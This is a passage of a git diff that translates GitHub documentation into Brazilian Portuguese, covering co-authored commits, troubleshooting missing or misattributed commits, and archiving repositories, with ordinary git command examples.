+++ b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md
@@ -1,6 +1,8 @@
 ---
-title: Creating a commit with multiple authors
-intro: 'You can attribute a commit to more than one author by adding one or more `Co-authored-by` trailers to the commit''s message. Co-authored commits are visible on {% data variables.product.product_name %}{% ifversion ghes or ghae %} and can be included in the profile contributions graph and the repository''s statistics{% endif %}.'
+title: Criar um commit com vários autores
+intro: |-
+  Você pode atribuir um commit a mais de um autor adicionando um ou mais trailers "Co-authored-by" à mensagem do commit. Os commits coautorados podem ser vistos no {% data variables.product.product_name %}{% ifversion ghes or ghae %} e podem ser incluídos no gráfico de contribuições de perfil e nas estatísticas
+   do repositório{% endif %}.
 redirect_from:
   - /articles/creating-a-commit-with-multiple-authors
   - /github/committing-changes-to-your-project/creating-a-commit-with-multiple-authors
@@ -10,39 +12,40 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: With multiple authors
+shortTitle: Com vários autores
 ---
-## Required co-author information
 
-Before you can add a co-author to a commit, you must know the appropriate email to use for each co-author. For the co-author's commit to count as a contribution, you must use the email associated with their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+## Informações obrigatórias do coautor
+
+Para poder adicionar um coautor a um commit, você deve saber o e-mail adequado a ser usado para cada coautor. Para o commit do coautor contar como uma contribuição, você deve usar o e-mail associado à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
 {% ifversion fpt or ghec %}
 
-If a person chooses to keep their email address private, you should use their {% data variables.product.product_name %}-provided `no-reply` email to protect their privacy. Otherwise, the co-author's email will be available to the public in the commit message. If you want to keep your email private, you can choose to use a {% data variables.product.product_name %}-provided `no-reply` email for Git operations and ask other co-authors to list your `no-reply` email in commit trailers.
+Se uma pessoa optar por manter o respectivo endereço de e-mail privado, você deverá usar o e-mail `no-reply` dela fornecido pelo {% data variables.product.product_name %} para proteger a privacidade. Caso contrário, o e-mail do coautor estará disponível para o público na mensagem do commit. Se desejar manter seu e-mail privado, você poderá usar um e-mail `no-reply` fornecido pelo {% data variables.product.product_name %} para operações de Git e pedir que outros coautores listem seu e-mail `no-reply` nos trailers de commit.
 
-For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."
+Para obter mais informações, consulte "[Setting your commit email address](/articles/setting-your-commit-email-address)."
 
   {% tip %}
 
-  **Tip:** You can help a co-author find their preferred email address by sharing this information:
-  - To find your {% data variables.product.product_name %}-provided `no-reply` email, navigate to your email settings page under "Keep my email address private."
-  - To find the email you used to configure Git on your computer, run `git config user.email` on the command line.
+  **Dica:** você pode ajudar um coautor a encontrar o endereço de e-mail de preferência dele compartilhando essas informações:
+  - Para encontrar o e-mail `no-reply` fornecido pelo {% data variables.product.product_name %}, navegue até a página de configurações do e-mail em "Keep my email address private" (Manter meu endereço de e-mail privado).
+  - Para encontrar o e-mail usado para configurar o Git no seu computador, execute `git config user.email` na linha de comando.
 
   {% endtip %}
 
 {% endif %}
 
-## Creating co-authored commits using {% data variables.product.prodname_desktop %}
+## Criar commits coautorados usando o {% data variables.product.prodname_desktop %}
 
-You can use {% data variables.product.prodname_desktop %} to create a commit with a co-author. For more information, see "[Write a commit message and push your changes](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" and [{% data variables.product.prodname_desktop %}](https://desktop.github.com).
+Você pode usar o {% data variables.product.prodname_desktop %} para criar um commit com um coautor. Para obter mais informações, consulte "[Escrever uma mensagem do commit e fazer push das alterações](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" e [{% data variables.product.prodname_desktop %}](https://desktop.github.com).
 
-![Add a co-author to the commit message](/assets/images/help/desktop/co-authors-demo-hq.gif)
+![Adicionar um coautor à mensagem do commit](/assets/images/help/desktop/co-authors-demo-hq.gif)
 
-## Creating co-authored commits on the command line
+## Criar commits coautorados na linha de comando
 
 {% data reusables.pull_requests.collect-co-author-commit-git-config-info %}
 
-1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines.
+1. Digite sua mensagem de commit e uma descrição curta e significativa de suas alterações. Depois da descrição do commit, em vez de inserir aspas para encerrar, adicione duas linhas vazias.
   ```shell
   $ git commit -m "Refactor usability tests.
   >
@@ -50,13 +53,13 @@ You can use {% data variables.product.prodname_desktop %} to create a commit wit
   ```
   {% tip %}
 
-  **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `Co-authored-by:` commit trailer.
+  **Dica:** Se estiver usando um editor de texto na linha de comando para digitar sua mensagem de commit, certifique-se de que existam duas novas linhas entre o final da sua descrição de commit e o indicador `Co-authored-by:`.
 
   {% endtip %}
 
-3. On the next line of the commit message, type `Co-authored-by: name <name@example.com>` with specific information for each co-author. After the co-author information, add a closing quotation mark.
+3. Na próxima linha da mensagem do commit, digite `Co-authored-by: name <name@example.com>` com informações específicas para cada coautor. Depois das informações do coautor, adicione aspas de fechamento.
 
-  If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer.
+  Se estiver adicionando vários coautores, dê a cada um a própria linha e o trailer de commit `Co-authored-by:`.
   ```shell
   $ git commit -m "Refactor usability tests.
   >
@@ -65,26 +68,25 @@ You can use {% data variables.product.prodname_desktop %} to create a commit wit
   Co-authored-by: <em>another-name</em> &lt;<em>another-name@example.com</em>&gt;"
   ```
 
-The new commit and message will appear on {% data variables.product.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)."
+O novo commit e a mensagem aparecerão no {% data variables.product.product_location %} na próxima vez que você fizer push. Para obter mais informações, consulte "[Fazer push das alterações em um repositório remoto](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)".
 
-## Creating co-authored commits on {% data variables.product.product_name %}
+## Criar commits coautorados no {% data variables.product.product_name %}
 
-After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a co-authored commit by adding a `Co-authored-by:` trailer to the commit's message.
+Depois que fizer alterações em um arquivo usando o editor web no {% data variables.product.product_name %}, você poderá criar um commit coautorado adicionando um trailer `Co-authored-by:` à mensagem do commit.
 
 {% data reusables.pull_requests.collect-co-author-commit-git-config-info %}
-2. After making your changes together, at the bottom of the page, type a short, meaningful commit message that describes the changes you made.
-  ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png)
-3. In the text box below your commit message, add `Co-authored-by: name <name@example.com>` with specific information for each co-author. If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer.
+2. Depois de fazer as alterações juntos, na parte inferior da página, digite uma mensagem de commit curta e significativa que descreve as alterações feitas. ![Mensagem do commit para sua alteração](/assets/images/help/repository/write-commit-message-quick-pull.png)
+3. Na caixa de texto abaixo da mensagem do commit, adicione `Co-authored-by: name <name@example.com>` com informações específicas para cada coautor. Se estiver adicionando vários coautores, dê a cada um a própria linha e o trailer de commit `Co-authored-by:`.
 
-  ![Commit message co-author trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-co-author-trailer.png)
-4. Click **Commit changes** or **Propose changes**.
+  ![Exemplo de trailer de coautor da mensagem do commit na segunda caixa de texto da mensagem do commit](/assets/images/help/repository/write-commit-message-co-author-trailer.png)
+4. Clique em **Commit changes** (Fazer commit de alterações) ou **Propose changes** (Propor alterações).
 
-The new commit and message will appear on {% data variables.product.product_location %}.
+O novo commit e a mensagem aparecerão no {% data variables.product.product_location %}.
 
-## Further reading
+## Leia mais
 {% ifversion ghes or ghae %}
-- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
-- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"{% endif %}
-- "[Viewing a project's contributors](/articles/viewing-a-projects-contributors)"
-- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)"
-- "[Committing and reviewing changes to your project](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" in the {% data variables.product.prodname_desktop %} documentation
+- "[Exibir contribuições no perfil](/articles/viewing-contributions-on-your-profile)"
+- "[Por que minhas contribuições não aparecem no meu perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"{% endif %}
+- "[Exibir contribuidores de um projeto](/articles/viewing-a-projects-contributors)"
+- "[Alterar uma mensagem do commit](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)"
+- "[Fazer commit e revisar alterações no seu projeto](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" na documentação do {% data variables.product.prodname_desktop %}
diff --git a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/index.md b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/index.md
index 9206e8d17d..6912a85f13 100644
--- a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/index.md
+++ b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/index.md
@@ -1,6 +1,6 @@
 ---
-title: Committing changes to your project
-intro: You can manage code changes in a repository by grouping work into commits.
+title: Commit de alterações no projeto
+intro: 'Você pode gerenciar as alterações de código em um repositório, agrupando os trabalhos em commits.'
 redirect_from:
   - /categories/21/articles
   - /categories/commits
@@ -15,5 +15,6 @@ children:
   - /creating-and-editing-commits
   - /viewing-and-comparing-commits
   - /troubleshooting-commits
-shortTitle: Commit changes to your project
+shortTitle: Fazer commit das alterações no seu projeto
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
index 613caee543..ff016e7a70 100644
--- a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
+++ b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
@@ -1,6 +1,6 @@
 ---
-title: Commit exists on GitHub but not in my local clone
-intro: 'Sometimes a commit will be viewable on {% data variables.product.product_name %}, but will not exist in your local clone of the repository.'
+title: 'O commit aparece no GitHub, mas não no meu clone local'
+intro: 'Às vezes, um commit poderá ser visto no {% data variables.product.product_name %}, mas não existirá no clone local do repositório.'
 redirect_from:
   - /articles/commit-exists-on-github-but-not-in-my-local-clone
   - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone
@@ -10,83 +10,73 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Commit missing in local clone
+shortTitle: Commit ausente no clone local
 ---
-When you use `git show` to view a specific commit on the command line, you may get a fatal error.
 
-For example, you may receive a `bad object` error locally:
+Quando você usa `git show` para exibir um commit específico na linha de comando, é possível que veja um erro fatal.
+
+Por exemplo, talvez você receba um erro de `bad object` no local:
 
 ```shell
 $ git show 1095ff3d0153115e75b7bca2c09e5136845b5592
 > fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592
 ```
 
-However, when you view the commit on {% data variables.product.product_location %}, you'll be able to see it without any problems:
+No entanto, ao exibir o commit no {% data variables.product.product_location %}, você poderá vê-lo sem qualquer problema:
 
 `github.com/$account/$repository/commit/1095ff3d0153115e75b7bca2c09e5136845b5592`
 
-There are several possible explanations:
+Há várias explicações possíveis:
 
-* The local repository is out of date.
-* The branch that contains the commit was deleted, so the commit is no longer referenced.
-* Someone force pushed over the commit.
+* O repositório local está desatualizado.
+* O branch que contém o commit foi excluído, de modo que o commit não é mais referenciado.
+* Alguém fez push forçado no commit.
 
-## The local repository is out of date
+## O repositório local está desatualizado
 
-Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`:
+O repositório local pode não ter o commit ainda. Para levar informações de seu repositório remote para o clone local, use `git fetch`:
 
 ```shell
 $ git fetch <em>remote</em>
 ```
 
-This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out.
-You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned.
+Isso copia informações com segurança do repositório remote para o clone local sem fazer alterações nos arquivos em que você fez checkout. É possível usar `git fetch upstream` para obter informações de um repositório bifurcado ou `git fetch origin` para obter informações de um repositório que você apenas clonou.
 
 {% tip %}
 
-**Tip**: For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book.
+**Dica**: para obter mais informações, leia sobre [como gerenciar remotes e fazer fetch de dados](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) no livro [Pro Git](https://git-scm.com/book).
 
 {% endtip %}
 
-## The branch that contained the commit was deleted
+## O branch que continha o commit foi excluído
 
-If a collaborator on the repository has deleted the branch containing the commit
-or has force pushed over the branch, the missing commit may have been orphaned
-(i.e. it cannot be reached from any reference) and therefore will not be fetched
-into your local clone.
+Se um colaborador no repositório tiver excluído o brach contendo o commit ou tiver forçado o push no branch, o commit ausente poderá ter ficado órfão (isto é, não poderá ser alcançado de qualquer referência) e, portanto, o fetch dele não poderá ser feito no clone local.
 
-Fortunately, if any collaborator has a local clone of the repository with the
-missing commit, they can push it back to {% data variables.product.product_name %}.  They need to make sure the commit
-is referenced by a local branch and then push it as a new branch to {% data variables.product.product_name %}.
+Felizmente, se algum colaborador tiver um clone local do repositório com o commit ausente, ele poderá fazer push dele de volta no {% data variables.product.product_name %}.  Ele precisa ter certeza de que o commit é referenciado por um branch local e, em seguida, fazer push dele como um novo branch para o {% data variables.product.product_name %}.
 
-Let's say that the person still has a local branch (call it `B`) that contains
-the commit.  This might be tracking the branch that was force pushed or deleted
-and they simply haven't updated yet.  To preserve the commit, they can push that
-local branch to a new branch (call it `recover-B`) on {% data variables.product.product_name %}.  For this example,
-let's assume they have a remote named `upstream` via which they have push access
-to `github.com/$account/$repository`.
+Vamos dizer que a pessoa ainda tem um branch local (chame-o de `B`) que contém o commit.  Isso pode estar rastreando o branch que teve push forçado ou excluído e ele simplesmente ainda não foi atualizado.  Para preservar o commit, ele pode fazer push desse branch local em um novo branch (chame-o de `recover-B`) no {% data variables.product.product_name %}.  Para este exemplo, vamos supor que ele tenha um remote chamado `upstream` pelo qual ele tem acesso push a `github.com/$account/$repository`.
 
-The other person runs:
+A outra pessoa executa:
 
 ```shell
 $ git branch recover-B B
-# Create a new local branch referencing the commit
+# Criar um branch local fazendo referência ao commit
 $ git push upstream B:recover-B
-# Push local B to new upstream branch, creating new reference to commit
+# Fazer push do local B para o novo branch upstream, criando referência ao commit
 ```
 
-Now, *you* can run:
+Agora, *você* pode executar:
 
 ```shell
 $ git fetch upstream recover-B
-# Fetch commit into your local repository.
+# Fazer fetch de commit no repositório local.
 ```
 
-## Avoid force pushes
+## Evitar pushes forçados
 
-Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests.
+Evite o push forçado em um repositório, a menos que seja absolutamente necessário. Isso se aplica especialmente quando mais de uma pessoa pode fazer push no repositório. Se alguém fizer push forçado em um repositório, ele poderá sobrescrever commits em que outras pessoas basearam seu trabalho. O push forçado faz alterações no histórico do repositório e pode corromper pull requests.
 
-## Further reading
+## Leia mais
 
-- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
-- ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery)
+- ["Trabalhar com remotes" no livro _Pro Git_](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
+- ["Recuperação de dados" no livro _Pro Git_](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery)
diff --git a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
index e63f9863ff..30d631ae2e 100644
--- a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
+++ b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
@@ -1,58 +1,57 @@
 ---
-title: Why are my commits linked to the wrong user?
+title: Por que meus commits estão vinculados ao usuário errado?
 redirect_from:
   - /articles/how-do-i-get-my-commits-to-link-to-my-github-account
   - /articles/why-are-my-commits-linked-to-the-wrong-user
   - /github/committing-changes-to-your-project/why-are-my-commits-linked-to-the-wrong-user
   - /github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user
-intro: '{% data variables.product.product_name %} uses the email address in the commit header to link the commit to a GitHub user. If your commits are being linked to another user, or not linked to a user at all, you may need to change your local Git configuration settings{% ifversion not ghae %}, add an email address to your account email settings, or do both{% endif %}.'
+intro: 'O {% data variables.product.product_name %} usa o endereço de e-mail no header do commit para vincular o commit a um usuário do GitHub. Se seus commits estão sendo vinculados a outro usuário, ou não vinculados a um usuário, você pode precisar alterar suas configurações locais de configuração do Git, {% ifversion not ghae %}, adicionar um endereço de e-mail nas configurações de e-mail da sua conta ou fazer ambas as coisas{% endif %}.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Linked to wrong user
+shortTitle: Vinculado ao usuário incorreto
 ---
+
 {% tip %}
 
-**Note**: If your commits are linked to another user, that does not mean the user can access your repository. A user can only access a repository you own if you add them as a collaborator or add them to a team that has access to the repository.
+**Observação**: se os commits estiverem vinculados a outro usuário, não significa que o usuário possa acessar o repositório pertencente a você. Um usuário só poderá acessar um repositório seu se você adicioná-lo como colaborador ou incluí-lo em uma equipe que tenha acesso ao repositório.
 
 {% endtip %}
 
-## Commits are linked to another user
+## Commits vinculados a outro usuário
 
-If your commits are linked to another user, that means the email address in your local Git configuration settings is connected to that user's account on {% data variables.product.product_name %}. In this case, you can change the email in your local Git configuration settings{% ifversion ghae %} to the address associated with your account on {% data variables.product.product_name %} to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %} and add the new email address to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} account to link future commits to your account.
+Se seus commits estiverem vinculados a outro usuário, isso significa que o endereço de e-mail nas configurações locais do Git está conectado à conta desse usuário em {% data variables.product.product_name %}. Neste caso, você pode alterar o e-mail nas configurações locais do Git, {% ifversion ghae %} ao endereço associado à sua conta em {% data variables.product.product_name %} para vincular seus commits futuros. Os commits antigos não serão vinculados. Para obter mais informações, consulte "[Definindo o seu endereço de e-mail do commit](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git).{% else %} e adicione o novo endereço de e-mail à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} para vincular commits futuros à sua conta.
 
-1. To change the email address in your local Git configuration, follow the steps in "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)". If you work on multiple machines, you will need to change this setting on each one.
-2. Add the email address from step 2 to your account settings by following the steps in "[Adding an email address to your GitHub account](/articles/adding-an-email-address-to-your-github-account)".{% endif %}
+1. Para alterar o endereço de e-mail na sua configuração Git local, siga os passos em "[Definir o seu endereço de e-mail de commit](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)". Se você trabalha em várias máquinas, precisa alterar essa configuração em cada uma deles.
+2. Adicione o endereço de e-mail da etapa 2 às configurações da sua conta seguindo os passos em "[Adicionar um endereço de e-mail à sua conta GitHub](/articles/adding-an-email-address-to-your-github-account)".{% endif %}
 
-Commits you make from this point forward will be linked to your account.
+Os commits criados a partir daí serão vinculados à sua conta.
 
-## Commits are not linked to any user
+## Commits não vinculados a nenhum usuário
 
-If your commits are not linked to any user, the commit author's name will not be rendered as a link to a user profile.
+Se seus commits não estiverem vinculados a nenhum usuário, o nome do autor do commit não será exibido como um link para o perfil de um usuário.
 
-To check the email address used for those commits and connect commits to your account, take the following steps:
+Para verificar o endereço de e-mail usado para esses commits e conectar commits à sua conta, siga estas etapas:
 
-1. Navigate to the commit by clicking the commit message link.
-![Commit message link](/assets/images/help/commits/commit-msg-link.png)
-2. To read a message about why the commit is not linked, hover over the blue {% octicon "question" aria-label="Question mark" %} to the right of the username.
-![Commit hover message](/assets/images/help/commits/commit-hover-msg.png)
+1. Navegue até o commit clicando no link da mensagem do commit. ![Link da mensagem do commit](/assets/images/help/commits/commit-msg-link.png)
+2. Para ler uma mensagem sobre o motivo do commit não estar vinculado, passe o mouse sobre o {% octicon "question" aria-label="Question mark" %} azul à direita do nome de usuário. ![Mensagem do commit exibida ao passar o mouse](/assets/images/help/commits/commit-hover-msg.png)
 
-  - **Unrecognized author (with email address)** If you see this message with an email address, the address you used to author the commit is not connected to your account on {% data variables.product.product_name %}. {% ifversion not ghae %}To link your commits, [add the email address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account).{% endif %} If the email address has a Gravatar associated with it, the Gravatar will be displayed next to the commit, rather than the default gray Octocat.
-  - **Unrecognized author (no email address)** If you see this message without an email address, you used a generic email address that can't be connected to your account on {% data variables.product.product_name %}.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %}
-  - **Invalid email** The email address in your local Git configuration settings is either blank or not formatted as an email address.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %}
+  - **Autor não reconhecido (com endereço de e-mail)** Se você vir esta mensagem com um endereço de e-mail, o endereço que você usou para criar o commit não estará conectado à sua conta em {% data variables.product.product_name %}. {% ifversion not ghae %}Para vincular seus commits, [adicione o endereço de e-mail às suas configurações de e-mail do GitHub](/articles/adding-an-email-address-to-your-github-account).{% endif %} Se o endereço de e-mail tiver um Gravatar associado, o Gravatar será exibido ao lado do commit, em vez do Octoact cinza padrão.
+  - **Autor não reconhecido (sem endereço de e-mail)** Se você vir esta mensagem sem um endereço de e-mail. significa que você usou um endereço de e-mail genérico que não pode ser conectado à sua conta em {% data variables.product.product_name %}.{% ifversion not ghae %} Você deverá [definir seu endereço de e-mail no Git](/articles/setting-your-commit-email-address) e, em seguida, [adicionar o novo endereço às suas configurações de e-mail do GitHub](/articles/adding-an-email-address-to-your-github-account) para vincular seus futuros commits. Os commits antigos não serão vinculados.{% endif %}
+  - **E-mail inválido** O endereço de e-mail nas configurações locais do Git está em branco ou não está formatado como um endereço de e-mail.{% ifversion not ghae %} Você deverá [definir seu endereço de e-mail de commit no Git](/articles/setting-your-commit-email-address) e, em seguida, [adicionar o novo endereço às suas configurações de e-mail do GitHub](/articles/adding-an-email-address-to-your-github-account) para vincular seus futuros commits. Os commits antigos não serão vinculados.{% endif %}
 
 {% ifversion ghae %}
-You can change the email in your local Git configuration settings to the address associated with your account to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."
+Você pode alterar o e-mail nas configurações locais do Git para o endereço associado à sua conta para vincular seus futuros commits. Os commits antigos não serão vinculados. Para obter mais informações, consulte "[Configurar o endereço de e-mail do commit](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)".
 {% endif %}
 
 {% warning %}
 
-If your local Git configuration contained a generic email address, or an email address that was already attached to another user's account, then your previous commits will not be linked to your account. While Git does allow you to change the email address used for previous commits, we strongly discourage this, especially in a shared repository.
+Caso a configuração local do Git contenha um endereço de e-mail genérico ou um endereço de e-mail já anexado à conta de outro usuário, os commits anteriores não serão vinculados à sua conta. Embora o Git permita que você altere o endereço de e-mail usado para commits anteriores, é recomendável evitar isso, principalmente em um repositório compartilhado.
 
 {% endwarning %}
 
-## Further reading
+## Leia mais
 
-* "[Searching commits](/search-github/searching-on-github/searching-commits)"
+* "[Pesquisar commits](/search-github/searching-on-github/searching-commits)"
diff --git a/translations/pt-BR/content/pull-requests/index.md b/translations/pt-BR/content/pull-requests/index.md
index 2e442270b6..df3c82295c 100644
--- a/translations/pt-BR/content/pull-requests/index.md
+++ b/translations/pt-BR/content/pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
 title: Pull requests
-intro: Learn how to commit changes to a project and use pull requests to collaborate with others.
+intro: Aprenda a fazer commit de alterações em um projeto e use pull requests para colaborar com os outros.
 shortTitle: Pull requests
 versions:
   fpt: '*'
diff --git a/translations/pt-BR/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/pt-BR/content/repositories/archiving-a-github-repository/archiving-repositories.md
index b8d5a45fc7..2d46d20912 100644
--- a/translations/pt-BR/content/repositories/archiving-a-github-repository/archiving-repositories.md
+++ b/translations/pt-BR/content/repositories/archiving-a-github-repository/archiving-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving repositories
-intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived.
+title: Arquivar repositórios
+intro: Você pode arquivar um repositório a fim de torná-lo somente leitura para todos os usuários e indicar que ele não está mais sendo mantido ativamente. Também é possível desarquivar repositórios que foram arquivados.
 redirect_from:
   - /articles/archiving-repositories
   - /github/creating-cloning-and-archiving-repositories/archiving-repositories
@@ -17,33 +17,31 @@ topics:
   - Repositories
 ---
 
-## About repository archival
+## Sobre o arquivamento do repositório
 
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)."
+**Observação:** se você tiver um plano de cobrança por repositório herdado, será feita a cobrança pelo seu repositório arquivado. Se não desejar ser cobrado por um repositório arquivado, será preciso atualizar para um novo produto. Para obter mais informações, consulte os "[Produtos da {% data variables.product.prodname_dotcom %}](/articles/github-s-products)".
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.repositories.archiving-repositories-recommendation %}
 
-Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project.
+Depois que um repositório é arquivado, não é possível adicionar nem remover colaboradores ou equipes. Os contribuidores com acesso ao repositório podem apenas bifurcar ou marcar com estrela seu projeto.
 
-When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first.
+Quando um repositório é arquivado, seus problemas, pull requests, código, etiquetas, marcos, projetos, wiki, versões, commits, tags, branches, reações, alertas de varredura de código, comentários e permissões tornam-se somente leitura. Para fazer alterações em um repositório arquivado, você deve desarquivar o repositório primeiro.
 
-You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)."  
+É possível pesquisar repositórios arquivados. Para obter mais informações, consulte "[Pesquisar repositórios](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)". Para obter mais informações, consulte "[Pesquisa de repositórios](/articles/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)". Para obter mais informações, consulte "[Pesquisa de problemas e pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)".
 
-## Archiving a repository
+## Arquivar um repositório
 
 {% data reusables.repositories.archiving-repositories-recommendation %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Danger Zone", click **Archive this repository** or **Unarchive this repository**.
-   ![Archive this repository button](/assets/images/help/repository/archive-repository.png)
-4. Read the warnings.
-5. Type the name of the repository you want to archive or unarchive.
-  ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png)
-6. Click **I understand the consequences, archive this repository**.
+3. Em "Danger Zone" (Zona de perigo), clique em **Archive this repository** (Arquivar este repositório) ou em **Unarchive this repository** (Desarquivar este repositório). ![Botão Archive this repository (Arquivar este repositório)](/assets/images/help/repository/archive-repository.png)
+4. Leia os avisos.
+5. Digite o nome do repositório que deseja arquivar ou desarquivar. ![Avisos de arquivamento de repositório](/assets/images/help/repository/archive-repository-warnings.png)
+6. Clique em **I understand the consequences, archive this repository** (Entendo as consequências, arquive este repositório).
diff --git a/translations/pt-BR/content/repositories/archiving-a-github-repository/backing-up-a-repository.md b/translations/pt-BR/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
index 287796f7e5..c35e594973 100644
--- a/translations/pt-BR/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
+++ b/translations/pt-BR/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
@@ -1,6 +1,6 @@
 ---
 title: Fazer backup de um repositório
